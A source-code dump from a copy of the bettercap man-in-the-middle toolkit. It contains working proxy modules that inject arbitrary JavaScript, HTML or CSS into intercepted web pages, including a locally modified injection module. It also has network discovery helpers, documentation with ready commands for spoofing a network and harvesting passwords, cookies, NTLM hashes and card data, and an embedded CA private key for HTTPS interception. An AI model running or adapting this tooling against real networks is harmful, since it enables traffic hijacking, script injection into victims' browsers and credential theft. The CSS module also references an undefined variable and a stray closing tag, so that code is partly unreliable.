nil 28 | 29 | # Add custom command line arguments to the +opts+ OptionParser instance. 30 | def self.on_options(opts) 31 | opts.separator "" 32 | opts.separator "Inject CSS Proxy Module Options:" 33 | opts.separator "" 34 | 35 | opts.on( '--css-data STRING', 'CSS code to be injected.' ) do |v| 36 | @@cssdata = v 37 | unless @@cssdata.include?("<style>") 38 | @@cssdata = "<style>\n#{@@cssdata}\n</style>" 39 | end 40 | end 41 | 42 | opts.on( '--css-file PATH', 'Path of the CSS file to be injected.' ) do |v| 43 | filename = File.expand_path v 44 | raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename) 45 | @@cssdata = File.read( filename ) 46 | unless @@cssdata.include?("<style>") 47 | @@cssdata = "<style>\n#{@@cssdata}\n</style>" 48 | end 49 | end 50 | 51 | opts.on( '--css-url URL', 'URL the CSS file to be injected.' ) do |v| 52 | @@cssurl = v 53 | end 54 | end 55 | 56 | # Create an instance of this module and raise a BetterCap::Error if command 57 | # line arguments weren't correctly specified. 58 | def initialize 59 | raise BetterCap::Error, "No --css-file, --css-url or --css-data options specified for the proxy module." if @@cssdata.nil? and @@cssurl.nil? 60 | end 61 | 62 | # Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP +request+ and 63 | # +response+. 64 | def on_request( request, response ) 65 | # is it a html page? 66 | if response.content_type =~ /^text\/html.*/ 67 | BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}" 68 | # inject URL 69 | if @@cssdata.nil? 70 | replacement = " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head> " 71 | response.body.sub!( '</head>' ) {replacement} 72 | # inject data 73 | else 74 | replacement = "#{@@cssdata}</head> " 75 | response.body.sub!( '</head>' ) {replacement} 76 | end 77 | end 78 | end 79 | end 80 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/modules/injecthtml.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # This proxy module will take care of Javascript code injection. 15 | class InjectJS < BetterCap::Proxy::HTTP::Module 16 | meta( 17 | 'Name' => 'InjectJS', 18 | 'Description' => 'This proxy module will take care of Javascript code injection.', 19 | 'Version' => '1.0.0', 20 | 'Author' => "Simone 'evilsocket' Margaritelli", 21 | 'License' => 'GPL3' 22 | ) 23 | 24 | # JS data to be injected. 25 | @@jsdata = nil 26 | # JS file URL to be injected. 27 | @@jsurl = nil 28 | 29 | # Add custom command line arguments to the +opts+ OptionParser instance. 30 | def self.on_options(opts) 31 | opts.separator "" 32 | opts.separator "Inject JS Proxy Module Options:" 33 | opts.separator "" 34 | 35 | opts.on( '--js-data STRING', 'Javascript code to be injected.' ) do |v| 36 | @@jsdata = v 37 | unless @@jsdata.include?("<script") 38 | @@jsdata = "<script type=\"text/javascript\">\n#{@@jsdata}\n</script>" 39 | end 40 | end 41 | 42 | opts.on( '--js-file PATH', 'Path of the javascript file to be injected.' ) do |v| 43 | filename = File.expand_path v 44 | raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename) 45 | @@jsdata = File.read( filename ) 46 | #modified to inject html 47 | unless @@jsdata.include?("<head") 48 | @@jsdata = "\n#{@@jsdata}\n" 49 | end 50 | end 51 | 52 | opts.on( '--js-url URL', 'URL the javascript file to be injected.' ) do |v| 53 | @@jsurl = v 54 | end 55 | end 56 | 57 | # Create an instance of this module and raise a BetterCap::Error if command 58 | # line arguments weren't correctly specified. 59 | def initialize 60 | raise BetterCap::Error, "No --js-file, --js-url or --js-data options specified for the proxy module." if @@jsdata.nil? and @@jsurl.nil? 61 | end 62 | 63 | # Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP +request+ and 64 | # +response+. 65 | def on_request( request, response ) 66 | # is it a html page? 67 | if response.content_type =~ /^text\/html.*/ 68 | BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting html #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}" 69 | # inject URL 70 | if @@jsdata.nil? 71 | replacement = "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" 72 | response.body.sub!( '</head>' ) {replacement} 73 | # inject data 74 | else 75 | replacement = "#{@@jsdata}<p></p></head>" 76 | response.body.sub!( '</head>') {replacement} 77 | end 78 | end 79 | end 80 | end 81 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/module.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Proxy 16 | module HTTP 17 | 18 | # Base class for transparent proxy modules. 19 | class Module < BetterCap::Pluggable 20 | @@path = File.dirname(__FILE__) + '/modules/' 21 | @@modules = [] 22 | 23 | def on_pre_request( request ); end 24 | def on_request( request, response ); end 25 | 26 | # Return a list of available builtin proxy module names. 27 | def self.available 28 | avail = [] 29 | Dir.foreach( @@path ) do |file| 30 | if file =~ /.rb/ 31 | avail << file.gsub('.rb','') 32 | end 33 | end 34 | avail 35 | end 36 | 37 | # Check if the module with +name+ is within the builtin ones. 38 | def self.is_builtin?(name) 39 | self.available.include?(name) 40 | end 41 | 42 | # Load the module with +name+. 43 | def self.load(ctx, opts, name) 44 | if self.is_builtin?(name) 45 | ctx.options.proxies.proxy_module = "#{@@path}/#{name}.rb" 46 | else 47 | ctx.options.proxies.proxy_module = File.expand_path(name) 48 | end 49 | 50 | begin 51 | require ctx.options.proxies.proxy_module 52 | 53 | self.register_options(opts) 54 | rescue LoadError => e 55 | raise BetterCap::Error, "Invalid proxy module name '#{name}': #{e.message}" 56 | end 57 | end 58 | 59 | # Return a list of registered modules. 60 | def self.modules 61 | @@modules 62 | end 63 | 64 | # Return true if the module is enabled, otherwise false. 65 | def enabled? 66 | true 67 | end 68 | 69 | # Register custom options for each available module. 70 | def self.register_options(opts) 71 | self.each_module do |const| 72 | if const.respond_to?(:on_options) 73 | const.on_options(opts) 74 | end 75 | end 76 | end 77 | 78 | # Register available proxy modules into the system. 79 | def self.register_modules 80 | self.each_module do |const| 81 | Logger.debug "Registering module #{const}" 82 | @@modules << const.new 83 | end 84 | end 85 | 86 | private 87 | 88 | # Loop each available BetterCap::Proxy::HTTP::Proxy module and yield each 89 | # one of them for the given code block. 90 | def self.each_module 91 | old_verbose, $VERBOSE = $VERBOSE, nil 92 | Object.constants.each do |klass| 93 | const = Kernel.const_get(klass.to_s) 94 | if const.respond_to?(:superclass) and const.superclass == self 95 | yield const 96 | end 97 | end 98 | ensure 99 | $VERBOSE = old_verbose 100 | end 101 | end 102 | 103 | end 104 | end 105 | end 106 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/modules/injectjs.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # This proxy module will take care of Javascript code injection. 15 | class InjectJS < BetterCap::Proxy::HTTP::Module 16 | meta( 17 | 'Name' => 'InjectJS', 18 | 'Description' => 'This proxy module will take care of Javascript code injection.', 19 | 'Version' => '1.0.0', 20 | 'Author' => "Simone 'evilsocket' Margaritelli", 21 | 'License' => 'GPL3' 22 | ) 23 | 24 | # JS data to be injected. 25 | @@jsdata = nil 26 | # JS file URL to be injected. 27 | @@jsurl = nil 28 | 29 | # Add custom command line arguments to the +opts+ OptionParser instance. 30 | def self.on_options(opts) 31 | opts.separator "" 32 | opts.separator "Inject JS Proxy Module Options:" 33 | opts.separator "" 34 | 35 | opts.on( '--js-data STRING', 'Javascript code to be injected.' ) do |v| 36 | @@jsdata = v 37 | unless @@jsdata.include?("<script") 38 | @@jsdata = "<script type=\"text/javascript\">\n#{@@jsdata}\n</script>" 39 | end 40 | end 41 | 42 | opts.on( '--js-file PATH', 'Path of the javascript file to be injected.' ) do |v| 43 | filename = File.expand_path v 44 | raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename) 45 | @@jsdata = File.read( filename ) 46 | unless @@jsdata.include?("<script") 47 | @@jsdata = "<script type=\"text/javascript\">\n#{@@jsdata}\n</script>" 48 | end 49 | end 50 | 51 | opts.on( '--js-url URL', 'URL the javascript file to be injected.' ) do |v| 52 | @@jsurl = v 53 | end 54 | end 55 | 56 | # Create an instance of this module and raise a BetterCap::Error if command 57 | # line arguments weren't correctly specified. 58 | def initialize 59 | raise BetterCap::Error, "No --js-file, --js-url or --js-data options specified for the proxy module." if @@jsdata.nil? and @@jsurl.nil? 60 | end 61 | 62 | # Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP +request+ and 63 | # +response+. 64 | def on_request( request, response ) 65 | # is it a html page? 66 | if response.content_type =~ /^text\/html.*/ 67 | BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}" 68 | # inject URL 69 | if @@jsdata.nil? 70 | replacement = "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" 71 | response.body.sub!( '</head>' ) {replacement} 72 | # inject data 73 | else 74 | replacement = "#{@@jsdata}<p></p></head>" 75 | response.body.sub!( '</head>') {replacement} 76 | end 77 | end 78 | end 79 | end 80 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/network.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # Handles various network related tasks. 16 | module Network 17 | class << self 18 | # Return the current network gateway or nil. 19 | def get_gateway 20 | nstat = Shell.execute('netstat -nr') 21 | iface = Context.get.options.core.iface 22 | 23 | Logger.debug "NETSTAT:\n#{nstat}" 24 | 25 | nstat.split(/\n/).select {|n| n =~ /UG/ }.each do |line| 26 | Network::Validator.each_ip(line) do |address| 27 | return address 28 | end 29 | end 30 | nil 31 | end 32 | 33 | # Return a list of IP addresses associated to this device network interfaces. 34 | def get_local_ips 35 | ips = [] 36 | 37 | if Shell.available?('ip') 38 | Shell.ip.split("\n").each do |line| 39 | if line.strip =~ /^inet\s+([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)\/(\d+).+$/i 40 | ips << $1 41 | end 42 | end 43 | else 44 | Shell.ifconfig.split("\n").each do |line| 45 | if line =~ /inet [adr:]*([\d\.]+)/ 46 | ips << $1 47 | end 48 | end 49 | end 50 | 51 | ips 52 | end 53 | 54 | # Return a list of BetterCap::Target objects found on the network, given a 55 | # BetterCap::Context ( +ctx+ ) and a +timeout+ in seconds for the operation. 56 | def get_alive_targets( ctx ) 57 | if ctx.options.core.discovery? 58 | start_agents( ctx ) 59 | else 60 | sleep(0.3) 61 | end 62 | 63 | ArpReader.parse ctx 64 | end 65 | 66 | # Return the IP address associated with the +mac+ hardware address using the 67 | # given BetterCap::Context ( +ctx+ ). 68 | def get_ip_address( ctx, mac ) 69 | ip = ArpReader.find_mac( mac ) 70 | if ip.nil? 71 | start_agents( ctx ) 72 | ip = ArpReader.find_mac( mac ) 73 | end 74 | ip 75 | end 76 | 77 | # Return the hardware address associated with the specified +ip_address+ using 78 | # the +iface+ network interface. 79 | def get_hw_address( ctx, ip ) 80 | hw = ArpReader.find_address( ip ) 81 | if hw.nil? 82 | start_agents( ctx, ip ) 83 | hw = ArpReader.find_address( ip ) 84 | end 85 | hw 86 | end 87 | 88 | private 89 | 90 | # Start discovery agents and wait for +ctx.timeout+ seconds for them to 91 | # complete their job. 92 | # If +address+ is not nil only that ip will be probed. 93 | def start_agents( ctx, address = nil ) 94 | [ 'Icmp', 'Udp', 'Arp' ].each do |name| 95 | BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address) 96 | end 97 | ctx.packets.wait_empty( ctx.timeout ) 98 | end 99 | end 100 | 101 | end 102 | end 103 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/validator.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | module Network 15 | # Simple class to perform validation of various addresses, ranges, etc. 16 | class Validator 17 | # Basic expression to validate an IP address. 18 | IP_ADDRESS_REGEX = '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})' 19 | # Quite self explainatory :) 20 | IP_OCTECT_MAX = 255 21 | 22 | # Return true if +ip+ is a valid IP address, otherwise false. 23 | def self.is_ip?(ip) 24 | if /\A#{IP_ADDRESS_REGEX}\Z/ =~ ip.to_s 25 | return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX } 26 | end 27 | false 28 | end 29 | 30 | # Return true if +port+ is a valid port, otherwise false. 31 | def self.is_valid_port?(port) 32 | port ||= "" 33 | return false if port.strip.empty? 34 | return false unless port =~ /^[0-9]+$/ 35 | port = port.to_i 36 | return ( port > 0 and port <= 65535 ) 37 | end 38 | 39 | # Extract valid IP addresses from +data+ and yields each one of them. 40 | def self.each_ip(data) 41 | data.scan(/(#{IP_ADDRESS_REGEX})/).each do |m| 42 | yield( m[0] ) if m[0] != '0.0.0.0' 43 | end 44 | end 45 | 46 | # Return true if +r+ is a valid IP address range ( 192.168.1.1-93 ), otherwise false. 47 | def self.is_range?(r) 48 | if /\A#{IP_ADDRESS_REGEX}\-(\d{1,3})\Z/ =~ r.to_s 49 | return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX } 50 | end 51 | false 52 | end 53 | 54 | # Parse +r+ as an IP range and return the first and last IP. 55 | def self.parse_range(r) 56 | first, last_part = r.split('-') 57 | last = first.split('.')[0..2].join('.') + ".#{last_part}" 58 | first = IPAddr.new(first) 59 | last = IPAddr.new(last) 60 | 61 | [ first, last ] 62 | end 63 | 64 | # Parse +r+ as an IP range and yields each address in it. 65 | def self.each_in_range(r) 66 | first, last = self.parse_range(r) 67 | loop do 68 | yield first.to_s 69 | break if first == last 70 | first = first.succ 71 | end 72 | end 73 | 74 | # Parse +m+ as a netmask and yields each address in it. 75 | def self.each_in_netmask(m) 76 | IPAddr.new(m).to_range.each do |o| 77 | yield o.to_s 78 | end 79 | end 80 | 81 | # Return true if +n+ is a valid IP netmask range ( 192.168.1.1/24 ), otherwise false. 82 | def self.is_netmask?(n) 83 | if /\A#{IP_ADDRESS_REGEX}\/(\d+)\Z/ =~ n.to_s 84 | return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX } 85 | end 86 | false 87 | end 88 | 89 | # Return true if +mac+ is a valid MAC address, otherwise false. 90 | def self.is_mac?(mac) 91 | ( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s ) 92 | end 93 | end 94 | 95 | end 96 | end 97 | -------------------------------------------------------------------------------- /tools/bettercap/docs/sniffing.md: -------------------------------------------------------------------------------- 1 | Sniffing & Credentials Harvesting 2 | ============ 3 | 4 | The builtin sniffer is currently able to dissect and print from the network ( or from a previously captured PCAP file ) the following informations: 5 | 6 | - URLs being visited. 7 | - HTTPS hosts being visited. 8 | - HTTP POSTed data. 9 | - HTTP Basic and Digest authentications. 10 | - HTTP Cookies. 11 | - FTP credentials. 12 | - IRC credentials. 13 | - POP, IMAP and SMTP credentials. 14 | - NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials. 15 | - DICT Protocol credentials. 16 | - MPD Credentials. 17 | - NNTP Credentials. 18 | - DHCP messages and authentication. 19 | - REDIS login credentials. 20 | - RLOGIN credentials. 21 | - SNPP credentials. 22 | - And more! 23 | 24 | <div class="admonition note"> 25 | <p class="admonition-title">Note</p> 26 | <p>New parsers are implemented almost on a regular basis for each new release, for a full and updated list check the SNIFFING section in the "bettercap --help" menu.</p> 27 | </div> 28 | 29 | ## Examples 30 | 31 | Use bettercap as a simple local network sniffer: 32 | 33 | `sudo bettercap --local` or `sudo bettercap -L` 34 | 35 | Use the *capture.pcap* file in your home directory as a packets source: 36 | 37 | `sudo bettercap --sniffer-source ~/capture.pcap` 38 | 39 | Spoof the whole network and save every packet to the *capture.pcap* file in your home directory: 40 | 41 | `sudo bettercap --sniffer-output ~/capture.pcap` 42 | 43 | Spoof the whole network but only sniff HTTP traffic: 44 | 45 | `sudo bettercap --sniffer-filter "tcp port http"` 46 | 47 | Spoof the whole network and extract data from packets containing the "password" word: 48 | 49 | `sudo bettercap --custom-parser ".*password.*"` 50 | 51 | ## Options 52 | 53 | ### `-X, --sniffer` 54 | 55 | Enable sniffer. 56 | 57 | ### `-L, --local` 58 | 59 | By default bettercap will only parse packets coming from/to other addresses on the network, if you also want to process packets being sent or received from your own computer you can use this option ( NOTE: will enable the sniffer ). 60 | 61 | ### `--sniffer-source FILE` 62 | 63 | Load packets from the specified PCAP file instead of the network interface ( NOTE: will enable the sniffer ). 64 | 65 | ### `--sniffer-output FILE` 66 | 67 | Save all packets to the specified PCAP file ( NOTE: will enable the sniffer ). 68 | 69 | ### `--sniffer-filter EXPRESSION` 70 | 71 | Configure the sniffer to use this [BPF filter](http://biot.com/capstats/bpf.html) ( NOTE: will enable the sniffer ). 72 | 73 | ### `-P, --parsers PARSERS` 74 | 75 | Comma separated list of packet parsers to enable, `*` for all ( NOTE: will enable the sniffer ), available: `COOKIE`, `CREDITCARD`, `DHCP`, `DICT`, `FTP`, `HTTPAUTH`, `HTTPS`, `IRC`, `MAIL`, `MPD`, `MYSQL`, `NNTP`, `NTLMSS`, `PGSQL`, `POST`, `REDIS`, `RLOGIN`, `SNMP`, `SNPP`, `URL`, `WHATSAPP`, default to `*`. 76 | 77 | ### `--custom-parser EXPRESSION` 78 | 79 | Use a custom regular expression in order to capture and show sniffed data ( NOTE: will enable the sniffer ). 80 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/firewalls/base.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | module Firewalls 15 | # Base class for BetterCap::Firewalls objects. 16 | class Base 17 | # Instance of the loaded firewall. 18 | @@instance = nil 19 | 20 | class << self 21 | # Save and return an instance of the appropriate BetterCap::Firewalls object. 22 | def get 23 | return @@instance unless @@instance.nil? 24 | 25 | if RUBY_PLATFORM =~ /.+bsd/ or RUBY_PLATFORM =~ /darwin/ 26 | @@instance = Firewalls::BSD.new 27 | elsif RUBY_PLATFORM =~ /linux/ 28 | @@instance = Firewalls::Linux.new 29 | else 30 | raise BetterCap::Error, 'Unsupported operating system' 31 | end 32 | 33 | @@instance 34 | end 35 | 36 | # Clear the instance of the BetterCap::Firewalls object. 37 | def clear 38 | @@instance = nil 39 | end 40 | end 41 | 42 | # Initialize the firewall object. 43 | # Raise NotImplementedError 44 | def initialize 45 | @frwd_initial_state = forwarding_enabled? 46 | end 47 | 48 | # If +enabled+ is true will enable packet forwarding, otherwise it will 49 | # disable it. 50 | # Raise NotImplementedError 51 | def enable_forwarding(enabled) 52 | not_implemented_method! 53 | end 54 | 55 | # If +enabled+ is true will enable icmp_echo_ignore_broadcasts, otherwise it will 56 | # disable it. 57 | # Raise NotImplementedError 58 | def enable_icmp_bcast(enabled) 59 | not_implemented_method! 60 | end 61 | 62 | # If +enabled+ is true will enable send_redirects, otherwise it will 63 | # disable it. 64 | # Raise NotImplementedError 65 | def enable_send_redirects(enabled) 66 | not_implemented_method! 67 | end 68 | 69 | # Return true if packet forwarding is currently enabled, otherwise false. 70 | # Raise NotImplementedError 71 | def forwarding_enabled? 72 | not_implemented_method! 73 | end 74 | 75 | # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object. 76 | # Raise NotImplementedError 77 | def add_port_redirection( r ) 78 | not_implemented_method! 79 | end 80 | 81 | # Remove the +r+ BetterCap::Firewalls::Redirection port redirection object. 82 | # Raise NotImplementedError 83 | def del_port_redirection( r ) 84 | not_implemented_method! 85 | end 86 | 87 | # Restore the system's original packet forwarding state. 88 | # Raise NotImplementedError 89 | def restore 90 | if forwarding_enabled? != @frwd_initial_state 91 | enable_forwarding @frwd_initial_state 92 | end 93 | end 94 | 95 | private 96 | 97 | # Method used to raise NotImplementedError exception. 98 | def not_implemented_method! 99 | raise NotImplementedError, 'Firewalls::Base: Unimplemented method!' 100 | end 101 | end 102 | end 103 | end 104 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/ssl/bettercap-ca.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCaoeZj2x7hY4RV 3 | L4S6F6GfsEAye1/rTivXQCBsEMdBifPFCWz4i1s5v1CbxO4x4dfgtJiVniGyMsnQ 4 | pWOsZ/kjt74FIzgA2A7RTsz6+jvxFnw8uNH2UvHAlXerpghBw7F46HTKb7fPGlXI 5 | eMrXd7SQ9fonNM1fQ0L37+ILAaZIIXjm3bM7KWuM7+8qr2bxLxP9A1ud5ruOLNF+ 6 | jxcCykm6ir/eo3M+4Yo9pOwsIvg9foOw7ahEVSB7nAZB9J2ohbCFfG7sFhKKgWFT 7 | xKBiEHny8qaD1/16FID/SZVXhFjjK2n8Gd87cIk104392H/MQVWui9rkocwszCov 8 | jFVOnlhjAgMBAAECggEAAM/Ivc1wpA45q5jMQY3OM2BhdeJf5oRKhp63jNmpshZf 9 | STF7ePKCUBNJAQhPl8NvtqY8Bs0FsEHD/Wxg0Y7aJ+3W+X/t01NPAJpBSS/3EJTl 10 | ogv2TiyxSCmAr033zSCR1eiidE2R0Wx59strhSYDtJ8V6Q7F5TIdL9/6d8RScx53 11 | xT/efogV3ebmXNhOOG6FrjQ5uCW7KZUXRaL3nozhEldFpzjak1XKVgKLv7OBaLwI 12 | tCgVGkfJpZbTYV2sht32JAwkEyTPtS8/49A4RRu5c62pLiDK5TkQGxtBLBpBTFoi 13 | f95LeqyApRDR5zTeP8uvHyK/Of5YBLJljkx+YDYugQKBgQDJN4KXOhV4DGVvriwA 14 | RBEd5nNJ/t/MATcGrFX4uqApdsMux9cpRaNa1hRxn2icm/whHrOFaBROAB7L6Zd4 15 | uLnrzpwFTq9YMH4AXe+sPphAtuk7ZULj1qkZ3yOjiKAJcJ4LWUxQ3H32KU6GIu+e 16 | x/e+B95pmk+s9XKajMSkKaMkWwKBgQDEu4fzhRyVvntq1s6D5R9du9eRV/6E5hLs 17 | gylMx8smzHQ46Ef5df5uEJUfkzyCJmOMGpKAW5czsLgKkx05Xw97xwn++/9lhHas 18 | E4SFArrIkAvBmiM44fZSKY3sVUWAHKYJy+Lg/7SR4cFVOxRyYhrFLjeXb9mOEdTo 19 | a6xmM3M6mQKBgDRpqDOaJqN5nyaDGOUM1eSS9a7tm//4xQuQ8mfyvOtwCxFxbqNK 20 | h22O3A5otogsvXUnGR4D6V4T+/GjrBf/DjbVP6DGSThQkVGpJlgYifI5cvFMxCqy 21 | 7KNXk2HyobUzx4cvQIjDlm/7fH/GM+KJNggi5pVdY6mq2apWRpZ4Xg2HAoGBAJOs 22 | WQ6Yuq5Ev4uhFn+2+2Z23AeDz8+ejFHw2o2B46KKEiutYGmHAqdH10hOUzs26b5/ 23 | K70iA0uPuXZmm6c3Df5Rl9VI/5sKZbIhLHZTaDWouspmk03df/KIsrnWAEd8Ob5c 24 | xz8xci+XEHKT2HNL5OBiIuSP1vRnujOEr3I/6JzxAoGBAJlu4gjm8StuL5ALy43a 25 | K62Nrsio/RhPjVUKXMtzTOgf2f2mRn04YibRNbB5Gzum4oWkjyue7qhBjIt/FX1Z 26 | kecFhr5JG4u/yyR6R2BMw4Jvh9kV6Y/GnDpSga8sK2P3QKFD01Qtw72x5xCj94CL 27 | kWqGcTRdiMAWQsRKvndzWAMc 28 | -----END PRIVATE KEY----- 29 | -----BEGIN CERTIFICATE----- 30 | MIIDZzCCAk+gAwIBAgIJANKD84I3l13QMA0GCSqGSIb3DQEBCwUAMEoxCzAJBgNV 31 | BAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQKDAliZXR0ZXJjYXAx 32 | EjAQBgNVBAMMCWJldHRlcmNhcDAeFw0xNjAyMjMwMTAxNTlaFw0xNzAyMjIwMTAx 33 | NTlaMEoxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQK 34 | DAliZXR0ZXJjYXAxEjAQBgNVBAMMCWJldHRlcmNhcDCCASIwDQYJKoZIhvcNAQEB 35 | BQADggEPADCCAQoCggEBAJqh5mPbHuFjhFUvhLoXoZ+wQDJ7X+tOK9dAIGwQx0GJ 36 | 88UJbPiLWzm/UJvE7jHh1+C0mJWeIbIyydClY6xn+SO3vgUjOADYDtFOzPr6O/EW 37 | fDy40fZS8cCVd6umCEHDsXjodMpvt88aVch4ytd3tJD1+ic0zV9DQvfv4gsBpkgh 38 | eObdszspa4zv7yqvZvEvE/0DW53mu44s0X6PFwLKSbqKv96jcz7hij2k7Cwi+D1+ 39 | g7DtqERVIHucBkH0naiFsIV8buwWEoqBYVPEoGIQefLypoPX/XoUgP9JlVeEWOMr 40 | afwZ3ztwiTXTjf3Yf8xBVa6L2uShzCzMKi+MVU6eWGMCAwEAAaNQME4wHQYDVR0O 41 | BBYEFBspFbBsNWr57dZicWMDjOaRxQoPMB8GA1UdIwQYMBaAFBspFbBsNWr57dZi 42 | cWMDjOaRxQoPMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJXGBH8H 43 | DKttB8KIbFzVRVcBQ5Wvw+3oFVlmnotQuxz17fGr2ZXEPiY8/P89MgAUqVkiaIS5 44 | EZOnIfPu7icGWvT0N3eoxnLaTdCFy0NOHXJh2+zrav5FWsULsmSxOBxItvkxq0fN 45 | yk1P/5kLmrJKnKUJKH7QDjNeEqJdfSx+dg2435a5pcvrVfjCGrd8F8CIED6sYd0n 46 | pibpJXi8TILiPrjNhTWT2Y5XflfV3Ho/+jIbeY3wzsApwsBINy0ticABdPhtEGHk 47 | nkR6dqDv1rSuzify5OdYeLy/UX4R/vv1BS0PLScE1lUB16ybzJ2imWJgOQs6J4E6 48 | hHakJaVPVAPFWUU= 49 | -----END CERTIFICATE----- 50 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/options/sniff_options.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | 16 | class SniffOptions 17 | # If true the BetterCap::Sniffer will be enabled. 18 | attr_accessor :enabled 19 | # PCAP file name to save captured packets to. 20 | attr_accessor :output 21 | # BPF filter to apply to sniffed packets. 22 | attr_accessor :filter 23 | # Input PCAP file, if specified the BetterCap::Sniffer will read packets 24 | # from it instead of the network. 25 | attr_accessor :src 26 | # Comma separated list of BetterCap::Parsers to enable. 27 | attr_accessor :parsers 28 | # Regular expression to use with the BetterCap::Parsers::Custom parser. 29 | attr_accessor :custom_parser 30 | # If true, bettercap will sniff packets from the local interface as well. 31 | attr_accessor :local 32 | 33 | def initialize 34 | @enabled = false 35 | @output = nil 36 | @filter = nil 37 | @src = nil 38 | @parsers = ['*'] 39 | @custom_parser = nil 40 | @local = false 41 | end 42 | 43 | def parse!( ctx, opts ) 44 | opts.separator "" 45 | opts.separator "SNIFFING:".bold 46 | opts.separator "" 47 | 48 | opts.on( '-X', '--sniffer', 'Enable sniffer.' ) do 49 | @enabled = true 50 | end 51 | 52 | opts.on( '-L', '--local', "Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to #{'false'.yellow}." ) do 53 | @enabled = true 54 | @local = true 55 | end 56 | 57 | opts.on( '--sniffer-source FILE', 'Load packets from the specified PCAP file instead of the interface ( will enable sniffer ).' ) do |v| 58 | @enabled = true 59 | @src = File.expand_path v 60 | end 61 | 62 | opts.on( '--sniffer-output FILE', 'Save all packets to the specified PCAP file ( will enable sniffer ).' ) do |v| 63 | @enabled = true 64 | @output = File.expand_path v 65 | end 66 | 67 | opts.on( '--sniffer-filter EXPRESSION', 'Configure the sniffer to use this BPF filter ( will enable sniffer ).' ) do |v| 68 | @enabled = true 69 | @filter = v 70 | end 71 | 72 | opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{'*'.yellow}" ) do |v| 73 | @enabled = true 74 | @parsers = 